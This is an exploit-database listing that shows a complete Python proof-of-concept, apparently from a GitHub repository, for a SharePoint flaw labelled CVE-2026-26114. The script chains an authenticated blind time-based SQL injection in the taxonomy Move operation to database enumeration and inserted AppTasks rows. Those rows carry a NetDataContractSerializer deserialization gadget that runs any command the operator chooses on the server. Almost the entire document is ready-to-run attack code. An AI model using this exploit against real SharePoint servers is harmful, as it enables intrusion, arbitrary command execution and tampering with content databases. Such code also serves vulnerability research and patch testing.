Exploit databaseDownload repository ZIP
GH-845e8e5795fbb388e396348487fbf351
fazilbaig1/cve-2026-26114-patch
Sources for CVE-2026-26114
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
fazilbaig1/cve-2026-26114-patchRevision cf1c66f0e3a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2026-26114-FAC/exploit/cve_2026_26114_rce.py
Suggested starting filePython · 29,751 bytes#!/usr/bin/env python3
"""
CVE-2026-26114 - SharePoint Taxonomy SQLi -> AppLifecycle NDCS Deserialization RCE.
Full-chain PoC. Requires ONLY: --target <url> + NTLM cred.
Auto-collects everything:
SiteId, WebId, JobCreatorId (REST)
TermStore Id, Group Id (writable) (CSOM ProcessQuery)
Content DB name (blind time-based SQLi)
fresh TermSet+Term (created per-shot; 1 term = 1 injection)
Builds TypeConfuseDelegate NetDataContractSerializer TaskData inline (no .exe),
injects AppInstallations+AppJobs+AppTasks (COMMIT after each INSERT), polls
OWSTIMER pull, checks side-effect (file / callback) for self-verification.
Author: huynambka research repo (PoC port).
"""
from __future__ import annotations
import argparse
import binascii
import json
import sys
import time
import uuid
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import urljoin
from xml.sax.saxutils import escape as xml_escape
import requests
TAXONOMY_SESSION_TYPEID = "{981cbc68-9edc-4f8d-872f-71146fcbb84f}"
DEFAULT_TASK_TYPE = (
"Microsoft.SharePoint.Lifecycle.FinalFixupTask, Microsoft.SharePoint, "
"Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"
)
HEADER_JSON = {"Accept": "application/json;odata=verbose"}
# --------------------------------------------------------------------------- auth
def make_session(base_url: str, user: str, password: str, domain: str,
proxy: Optional[str], insecure: bool) -> requests.Session:
s = requests.Session()
s.verify = not insecure
if proxy:
s.proxies.update({"http": proxy, "https": proxy})
login = user
if domain and "\\" not in user and "@" not in user:
login = f"{domain}\\{user}"
try:
from requests_ntlm import HttpNtlmAuth
except ImportError as e:
raise SystemExit("[-] pip install requests-ntlm") from e
s.auth = HttpNtlmAuth(login, password)
print(f"[+] auth: NTLM {login}")
return s
def endpoint(base_url: str, *segs: str) -> str:
return urljoin(base_url.rstrip("/") + "/", "/".join(segs))
def api_get_json(s: requests.Session, base_url: str, *segs: str, **params: str) -> Dict[str, Any]:
r = s.get(endpoint(base_url, *segs), headers=HEADER_JSON, params=params or None, timeout=30)
if r.status_code == 401:
raise SystemExit(f"[-] auth failed (401) on {'/'.join(segs)}")
r.raise_for_status()
return r.json()
def contextinfo(s: requests.Session, base_url: str) -> str:
r = s.post(endpoint(base_url, "_api", "contextinfo"),
headers={"Accept": "application/json;odata=verbose"},
timeout=30)
if r.status_code == 401:
raise SystemExit("[-] auth failed (401) on contextinfo")
r.raise_for_status()
return r.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
def process_query(s: requests.Session, base_url: str, digest: str, xml: str,
timeout: int = 240) -> Tuple[requests.Response, float]:
start = time.perf_counter()
r = s.post(endpoint(base_url, "_vti_bin", "client.svc", "ProcessQuery"),
headers={"X-RequestDigest": digest, "Content-Type": "text/xml"},
data=xml.encode("utf-8"), timeout=timeout)
return r, time.perf_counter() - start
def pq_error(r: requests.Response) -> Optional[Dict[str, Any]]:
try:
for it in r.json():
err = it.get("ErrorInfo") if isinstance(it, dict) else None
if err:
return err
except Exception:
return None
return None
def pq_guid(raw: Any) -> str:
s = str(raw)
if s.startswith("/Guid(") and s.endswith(")/"):
return s[6:-2]
return s.strip("{}")
# ----------------------------------------------------------------- CSOM taxonomy
def _xml_guid(p: str) -> str:
return xml_escape(p)
def csom_create_termset(store_id: str, group_id: str, name: str,
termset_id: str = None) -> str:
termset_id = termset_id or str(uuid.uuid4())
return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions>
<ObjectPath Id="10" ObjectPathId="6" />
<ObjectIdentityQuery Id="11" ObjectPathId="6" />
<Method Id="12" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{_xml_guid(store_id)}</Parameter></Parameters></Method>
<Property Id="4" ParentId="3" Name="Groups" />
<Method Id="5" ParentId="4" Name="GetById"><Parameters><Parameter Type="Guid">{_xml_guid(group_id)}</Parameter></Parameters></Method>
<Method Id="6" ParentId="5" Name="CreateTermSet"><Parameters>
<Parameter Type="String">{xml_escape(name)}</Parameter>
<Parameter Type="Guid">{{{_xml_guid(termset_id)}}}</Parameter>
<Parameter Type="Int32">1033</Parameter>
</Parameters></Method>
</ObjectPaths>
</Request>"""
def csom_create_term(store_id: str, termset_id: str, name: str,
term_id: str = None) -> str:
term_id = term_id or str(uuid.uuid4())
return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions>
<ObjectPath Id="10" ObjectPathId="4" />
<ObjectPath Id="11" ObjectPathId="5" />
<ObjectIdentityQuery Id="12" ObjectPathId="5" />
<Method Id="13" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{_xml_guid(store_id)}</Parameter></Parameters></Method>
<Method Id="4" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{_xml_guid(termset_id)}</Parameter></Parameters></Method>
<Method Id="5" ParentId="4" Name="CreateTerm"><Parameters>
<Parameter Type="String">{xml_escape(name)}</Parameter>
<Parameter Type="Int32">1033</Parameter>
<Parameter Type="Guid">{{{_xml_guid(term_id)}}}</Parameter>
</Parameters></Method>
</ObjectPaths>
</Request>"""
def csom_move_sqli(store_id: str, src_termset: str, term: str,
dst_termset: str, custom_sort_order: str) -> str:
return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions>
<ObjectPath Id="10" ObjectPathId="3" />
<ObjectPath Id="11" ObjectPathId="4" />
<ObjectPath Id="12" ObjectPathId="5" />
<SetProperty Id="13" ObjectPathId="4" Name="CustomSortOrder"><Parameter Type="String">{xml_escape(custom_sort_order)}</Parameter></SetProperty>
<Method Id="14" ObjectPathId="4" Name="Move"><Parameters><Parameter ObjectPathId="5" /></Parameters></Method>
<Method Id="15" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{_xml_guid(store_id)}</Parameter></Parameters></Method>
<Method Id="4" ParentId="3" Name="GetTermInTermSet"><Parameters>
<Parameter Type="Guid">{_xml_guid(src_termset)}</Parameter>
<Parameter Type="Guid">{_xml_guid(term)}</Parameter>
</Parameters></Method>
<Method Id="5" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{_xml_guid(dst_termset)}</Parameter></Parameters></Method>
</ObjectPaths>
</Request>"""
# ------------------------------------------------------------- auto-discovery
def discover_site(s: requests.Session, base_url: str) -> Tuple[str, str]:
site_id = api_get_json(s, base_url, "_api", "site", **{"$select": "Id"})["d"]["Id"]
web_id = api_get_json(s, base_url, "_api", "web", **{"$select": "Id"})["d"]["Id"]
return site_id, web_id
def discover_user(s: requests.Session, base_url: str) -> int:
return int(api_get_json(s, base_url, "_api", "web", "currentuser")["d"]["Id"])
def discover_taxonomy(s: requests.Session, base_url: str, digest: str
) -> Tuple[str, str, str, str]:
"""Return (store_id, store_name, group_id, group_name) for first writable group."""
# enumerate term stores
xml_stores = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions><ObjectPath Id="10" ObjectPathId="2" /><Query Id="11" ObjectPathId="2"><Query SelectAllProperties="false"><Properties /></Query>
<ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
<ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" /></ObjectPaths></Request>"""
r, _ = process_query(s, base_url, digest, xml_stores)
err = pq_error(r)
if err:
raise SystemExit(f"[-] term store enum error: {err.get('ErrorMessage')}")
stores: List[Dict[str, str]] = []
for it in r.json():
if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermStoreCollection":
for st in it.get("_Child_Items_", []):
stores.append({"id": pq_guid(st["Id"]), "name": st["Name"]})
if not stores:
raise SystemExit("[-] no term store visible")
print(f"[+] term stores: {[(x['name'], x['id']) for x in stores]}")
for st in stores:
# enumerate groups
xml_g = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions><ObjectPath Id="10" ObjectPathId="4" /><Query Id="11" ObjectPathId="4"><Query SelectAllProperties="false"><Properties /></Query>
<ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
<ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{{{_xml_guid(st['id'])}}}</Parameter></Parameters></Method><Property Id="4" ParentId="3" Name="Groups" /></ObjectPaths></Request>"""
rg, _ = process_query(s, base_url, digest, xml_g)
if pq_error(rg):
continue
for it in rg.json():
if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermGroupCollection":
for gr in it.get("_Child_Items_", []):
gid, gname = pq_guid(gr["Id"]), gr["Name"]
if gname.lower() == "system":
continue
if _group_writable(s, base_url, digest, st["id"], gid):
print(f"[+] writable group: {gname} {gid} (store {st['name']})")
return st["id"], st["name"], gid, gname
raise SystemExit("[-] no writable taxonomy group found")
def _group_writable(s: requests.Session, base_url: str, digest: str,
store_id: str, group_id: str) -> bool:
xml = csom_create_termset(store_id, group_id, "Tst" + uuid.uuid4().hex[:6])
r, _ = process_query(s, base_url, digest, xml)
return r.status_code == 200 and not pq_error(r)
# --------------------------------------------------------------- blind SQLi
def inject(s: requests.Session, base_url: str, digest: str, store_id: str,
group_id: str, sql_batch: str, timeout: int = 300) -> Tuple[requests.Response, float]:
"""Create a fresh src/dst termset + term, then Move with CustomSortOrder=SQLi.
One term = one injection shot."""
src = str(uuid.uuid4())
dst = str(uuid.uuid4())
term = str(uuid.uuid4())
for tsid, nm in [(src, "Src" + uuid.uuid4().hex[:12]),
(dst, "Dst" + uuid.uuid4().hex[:12])]:
rx, _ = process_query(s, base_url, digest, csom_create_termset(store_id, group_id, nm, tsid))
if pq_error(rx):
raise SystemExit(f"[-] CreateTermSet failed: {pq_error(rx)['ErrorMessage']}")
rt, _ = process_query(s, base_url, digest, csom_create_term(store_id, src, "T" + uuid.uuid4().hex[:12], term))
if pq_error(rt):
raise SystemExit(f"[-] CreateTerm failed: {pq_error(rt)['ErrorMessage']}")
payload = f"x'; {sql_batch} -- "
return process_query(s, base_url, digest,
csom_move_sqli(store_id, src, term, dst, payload), timeout)
def blind_true(s, base_url, digest, store_id, group_id, cond: str, wait: int = 5) -> bool:
r, elapsed = inject(s, base_url, digest, store_id, group_id,
f"IF ({cond}) WAITFOR DELAY '00:00:{wait:02d}'",
timeout=max(wait + 30, 60))
return elapsed >= max(wait - 1, 3)
def blind_int(s, base_url, digest, store_id, group_id, expr: str, lo: int, hi: int) -> int:
while lo < hi:
mid = (lo + hi) // 2
if blind_true(s, base_url, digest, store_id, group_id, f"{expr} > {mid}"):
lo = mid + 1
else:
hi = mid
return lo
def blind_string(s, base_url, digest, store_id, group_id, query: str, max_len: int = 128) -> str:
expr = f"COALESCE(CONVERT(nvarchar(4000),({query})),'')"
n = blind_int(s, base_url, digest, store_id, group_id, f"LEN({expr})", 0, max_len)
out = ""
for i in range(1, n + 1):
c = blind_int(s, base_url, digest, store_id, group_id,
f"ASCII(SUBSTRING({expr},{i},1))", 1, 126)
out += chr(c)
print(f"\r[+] content_db extract: {out}", end="", flush=True)
print()
return out
def _db_ref(name: str) -> str:
return f"[{name.replace(']', ']]')}]"
def _content_db_condition(db_name: str, site_id: str) -> str:
db = _db_ref(db_name)
db_name_sql = db_name.replace("'", "''")
return (
f"DB_ID('{db_name_sql}') IS NOT NULL AND "
f"EXISTS(SELECT 1 FROM {db}.sys.tables WHERE name='AppTasks') AND "
f"EXISTS(SELECT 1 FROM {db}.sys.tables WHERE name='Sites') AND "
f"EXISTS(SELECT 1 FROM {db}.dbo.Sites WHERE Id='{site_id}')"
)
def _enumerate_accessible_dbs(s, base_url, digest, store_id, group_id,
max_dbs: int = 64, max_name_len: int = 128) -> List[str]:
count = blind_int(
s, base_url, digest, store_id, group_id,
"(SELECT COUNT(*) FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1)",
0, max_dbs,
)
print(f"[*] blind-enumerating accessible databases ({count} candidates)...")
names: List[str] = []
for idx in range(1, count + 1):
q = (
"SELECT name FROM ("
"SELECT ROW_NUMBER() OVER (ORDER BY database_id) AS rn, name "
"FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1"
f") d WHERE rn = {idx}"
)
name = blind_string(s, base_url, digest, store_id, group_id, q, max_len=max_name_len)
if name:
names.append(name)
print(f"[+] db[{idx}/{count}] {name}")
return names
def _enumerate_matching_dbs(s, base_url, digest, store_id, group_id,
where_sql: str, label: str,
max_dbs: int = 64, max_name_len: int = 128) -> List[str]:
count = blind_int(
s, base_url, digest, store_id, group_id,
"(SELECT COUNT(*) FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1 "
f"AND ({where_sql}))",
0, max_dbs,
)
print(f"[*] enumerating {label} ({count} candidates)...")
names: List[str] = []
for idx in range(1, count + 1):
q = (
"SELECT name FROM ("
"SELECT ROW_NUMBER() OVER (ORDER BY name) AS rn, name "
"FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1 "
f"AND ({where_sql})"
f") d WHERE rn = {idx}"
)
name = blind_string(s, base_url, digest, store_id, group_id, q, max_len=max_name_len)
if name:
names.append(name)
print(f"[+] {label}[{idx}/{count}] {name}")
return names
def discover_content_db(s, base_url, digest, store_id, group_id, site_id: str,
prefer="SharePoint_Content_sp01") -> str:
# fast path: validate common default only if it is also the current site's DB.
if blind_true(s, base_url, digest, store_id, group_id, _content_db_condition(prefer, site_id)):
print(f"[+] content_db (fast): {prefer}")
return prefer
print(f"[*] default DB '{prefer}' invalid; trying databases with 'Content' in the name...")
content_named_dbs = _enumerate_matching_dbs(
s, base_url, digest, store_id, group_id,
"name LIKE '%Content%'",
"db with 'Content' in name",
)
for content_named_db in content_named_dbs:
print(f"[*] testing 'Content' candidate: {content_named_db}")
if blind_true(s, base_url, digest, store_id, group_id,
_content_db_condition(content_named_db, site_id), wait=4):
print(f"[+] content_db (content-name fast path): {content_named_db}")
return content_named_db
print(f"[*] candidate '{content_named_db}' did not match current SiteId")
print("[*] no valid 'Content' DB candidate found; enumerating databases via blind SQLi...")
for db_name in _enumerate_accessible_dbs(s, base_url, digest, store_id, group_id):
print(f"[*] testing db candidate: {db_name}")
if blind_true(s, base_url, digest, store_id, group_id,
_content_db_condition(db_name, site_id), wait=4):
print(f"[+] content_db (blind): {db_name}")
return db_name
raise SystemExit("[-] could not discover content DB containing AppTasks + current SiteId")
# ----------------------------------------------------------- NDCS payload
def ndcs_payload(command: str) -> bytes:
"""TypeConfuseDelegate NDCS gadget calling Process.Start(fileName, args)."""
first = command.find(" ")
file_name = command[:first] if first >= 0 else command
arguments = command[first + 1:] if first >= 0 else ""
a, b = sorted([file_name, arguments])
def node(idx: int, val: str) -> str:
ns = 'xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"'
if not val:
return f'<string z:Id="{idx}" {ns}/>'
return f'<string z:Id="{idx}" {ns}>{xml_escape(val)}</string>'
xml = (
'<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">'
'<Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>'
'<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="">'
'<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System">'
'<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">'
'<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>'
'<a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/>'
'<a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/>'
'<a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName>'
'<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry>'
'<a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/>'
'<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>'
'<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>'
'<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate>'
'<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
'<Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/>'
'<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>'
'<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>'
'<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0>'
'<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
'<Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/>'
'<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>'
'<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>'
'<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1>'
'</_comparison></Comparer>'
'<Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>'
'<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">'
f'{node(25, a)}{node(26, b)}</Items></ArrayOfstring>'
)
return xml.encode("utf-8")
# ----------------------------------------------------------- INSERT builder
def build_insert_sql(taskdata_hex: str, site_id: str, web_id: str,
creator_id: int, task_type: str, content_db: str,
job_id: str = None, task_id: str = None) -> str:
job_id = job_id or str(uuid.uuid4())
task_id = task_id or str(uuid.uuid4())
db = content_db.replace("]", "]]")
return f"""USE [{db}];
DECLARE @SiteId uniqueidentifier = '{site_id}';
DECLARE @JobId uniqueidentifier = '{job_id}';
DECLARE @TaskId uniqueidentifier = '{task_id}';
DECLARE @InstId uniqueidentifier = NEWID();
INSERT INTO dbo.AppInstallations (Id,Status,InError,SourceInfoId,WebId,CreationTime,SiteSubscriptionId,LastJobOperation,WasLastJobCancelled,WasLastJobManuallyCancelled,IsIconHosted,CreatorId,DisableAuthority,InstallationLocale,SiteId)
VALUES (@InstId,5,0,NEWID(),'{web_id}',GETUTCDATE(),'00000000-0000-0000-0000-000000000000',0,0,0,0,{creator_id},0,1033,@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppJobs (Id,InstallationId,Operation,IsCancelled,IsManuallyCancelled,IsCommitted,CreationTime,JobCreatorId,SiteId)
VALUES (@JobId,@InstId,1,0,0,1,GETUTCDATE(),{creator_id},@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppTasks (JobId,TaskId,TaskType,TaskData,PulledTime,FinishedTime,Retries,TaskCloneId,EstimatedDurationMinutes,RegisteredTime,TimeoutTime,IsRollback,TaskOperation,CancelledWhileInProgress,LastPullerHostName,IsolationKey,SiteId)
VALUES (@JobId,@TaskId,'{task_type}',0x{taskdata_hex},NULL,NULL,0,NULL,1,GETUTCDATE(),NULL,0,1,0,NULL,NEWID(),@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
WAITFOR DELAY '00:00:03';"""
# -------------------------------------------------------------------- main
def main() -> int:
ap = argparse.ArgumentParser(description="CVE-2026-26114 full-chain PoC (target+cred only)")
ap.add_argument("--target", required=True, help="SharePoint base URL, e.g. http://sp01")
ap.add_argument("--username", required=True)
ap.add_argument("--password", required=True)
ap.add_argument("--domain", default="")
ap.add_argument("--proxy", default=None)
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--cmd", default=None,
help="Command to execute. Default writes whoami marker.")
ap.add_argument("--marker-file", default=None,
help="If --cmd omitted, run: cmd /c whoami > <marker-file> on target "
"for self-verification (you must supply a writable path).")
ap.add_argument("--task-type", default=DEFAULT_TASK_TYPE)
ap.add_argument("--content-db", default=None,
help="Force content DB name (skip slow blind SQLi discovery)")
ap.add_argument("--no-confirm", action="store_true", help="Skip OWSTIMER pull confirmation")
ap.add_argument("--poll", type=int, default=30)
ap.add_argument("--interval", type=int, default=5)
args = ap.parse_args()
s = make_session(args.target, args.username, args.password, args.domain, args.proxy, args.insecure)
digest = contextinfo(s, args.target)
print(f"[+] digest {digest[:24]}...")
# auto-discover
site_id, web_id = discover_site(s, args.target)
creator_id = discover_user(s, args.target)
print(f"[+] SiteId={site_id} WebId={web_id} JobCreatorId={creator_id}")
store_id, store_name, group_id, group_name = discover_taxonomy(s, args.target, digest)
if args.content_db:
content_db = args.content_db
print(f"[+] content_db (forced): {content_db}")
else:
content_db = discover_content_db(s, args.target, digest, store_id, group_id, site_id)
# command: default whoami->marker for self-check
if args.cmd:
command = args.cmd
elif args.marker_file:
command = f"cmd /c whoami > {args.marker_file}"
else:
raise SystemExit("[-] provide --cmd OR --marker-file")
taskdata = ndcs_payload(command)
print(f"[+] NDCS TaskData: {len(taskdata)} bytes for: {command}")
job_id = str(uuid.uuid4())
task_id = str(uuid.uuid4())
sql = build_insert_sql(binascii.hexlify(taskdata).decode(),
site_id, web_id, creator_id, args.task_type, content_db,
job_id, task_id)
print(f"[*] injecting AppInstallations+AppJobs+AppTasks via taxonomy SQLi...")
r, elapsed = inject(s, args.target, digest, store_id, group_id, sql)
err = pq_error(r)
ok = r.status_code == 200 and elapsed >= 3.0
print(f"[+] inject HTTP {r.status_code} {elapsed:.2f}s ({'BATCH RAN' if ok else 'FAILED'})")
if err:
print(f"[*] CSOM ErrorInfo (harmless if batch ran): {err.get('ErrorMessage')}")
print(f"[*] TaskId={task_id} JobId={job_id}")
if not args.no_confirm:
db = content_db.replace("]", "]]")
# confirm pull via blind check on OUR specific TaskId (not a dynamic "latest")
cond = (f"EXISTS(SELECT 1 FROM [{db}].dbo.AppTasks WHERE TaskId='{task_id}' "
"AND PulledTime IS NOT NULL)")
print(f"[*] polling OWSTIMER pull (up to {args.poll*args.interval}s)...")
pulled = False
for i in range(args.poll):
if blind_true(s, args.target, digest, store_id, group_id, cond, wait=5):
print(f"[+] OWSTIMER pulled the task at poll {i}")
pulled = True
break
time.sleep(args.interval)
if not pulled:
print("[-] did not confirm PulledTime (payload may still have run; verify side effect)")
# self-check marker
if args.marker_file:
print(f"[*] marker file path on target: {args.marker_file}")
print("[*] retrieve via any readable channel (SMB/HTTP/share) to confirm whoami output.")
print("[+] done.")
return 0
if __name__ == "__main__":
sys.exit(main())